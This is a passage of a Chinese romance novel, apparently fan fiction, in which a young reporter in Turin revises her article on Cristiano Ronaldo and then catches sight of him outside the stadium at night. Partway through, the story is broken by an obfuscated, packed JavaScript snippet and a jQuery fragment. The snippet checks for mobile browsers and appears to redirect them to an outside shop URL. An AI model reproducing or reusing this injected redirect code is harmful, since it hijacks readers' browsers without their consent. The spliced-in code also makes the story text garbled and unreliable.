起面条时，她看见电视上正在播放体育新闻。

    画面是尤文训练基地。C罗在练习任意球，球划出弧线钻入网窝。镜头推近，他脸上没有表情，只是走过去捡起球，再次摆好。

    “...首次合练表现积极...”解说员的声音淹没在餐厅的嘈杂里。

    苏晚栀低头看手机。邮箱没有新邮件，程老师还没回复。她点开社交媒体，发现尤文图斯官方账号更新了一组训练图。其中一张是C罗和队友的合影，他笑着，露出标准的八颗牙微笑。

    和早晨那个眼神深邃的男人判若两人。

    回到房间时，程老师的回复来了：“文笔很好，但太文学化了。需要精简，重点放在转会动机和赛季目标上。另外，‘火’那段比喻删掉，不够客观。”

    苏晚栀看着那行字，胸口发闷。

    她回复：“收到。明天改好发您。”

    但没有立即动手修改。她走到窗边，望着河对岸的安联球场。此刻它通体发光，像一座水晶宫殿。她想起他说“黄昏时，球场才真正活着”。

    手机震动。是托马西发来的邮件，礼貌地询问稿件进度，并提醒发表前需要审核。

    她回复：“初稿已完成，正在内部审核。明天发送给您。”

    放下手机，她继续望着球场。暮色渐深，球场灯光在夜色中愈发耀眼。几个小黑点在场内移动，是工作人员在布置场地，还是...

    她拿起床头柜的望远镜。廉价望远镜成像模糊，但足以看清球场内部有几个身影在跑动。其中一个穿着黑白训练服，动作频率明显快于其他人。

    心脏突然跳得快了些。

    她放下望远镜，在房间里踱步。程老师要的修改很简单，

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16955424|193116||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    删减细节，突出干货。两小时就能完成。

    但她的脚走向衣柜，拿出运动服。

    “你要出去？”张月从浴室探头。

    “散步。”苏晚栀系好鞋带。

    “稿子不改了？”

    “回来再改。”

    电梯下行时，她看着镜中的自己——头发随意扎起，素颜，穿着普通的运动装。不像记者，倒像本地大学生。

    波河的风比白天凉。她沿着河岸慢跑，像无数都灵市民一样。但穿过一座桥后，她转向了安联球场的方向。

    广场上比昨晚热闹。有游客拍照，有情侣散步，还有一群少年在踢球。同样的塑料球门，但踢球的不是昨晚那群孩子。

    苏晚栀在同样的长椅坐下。

    这一次，她没等多久。

    员工通道的门开了。一个身影走出来，穿着训练服，提着运动包。帽子压得很低，但步态无法伪装。

    他径直走向广场边缘的停车场，但中途停了下来。弯腰，捡起滚到脚边的足球。踢回给那些少年。

    少年们没认出他，用意大利语道谢。他点点头，继续走向停车场。

    但在拉开车门的前一秒，他回头了。

    目光越过广场，准确地落在她坐的长椅上。

    隔着百米夜色，苏晚栀感觉心脏停跳了一拍。

    他停顿了三秒。然后，做了一件出乎意料的事，不是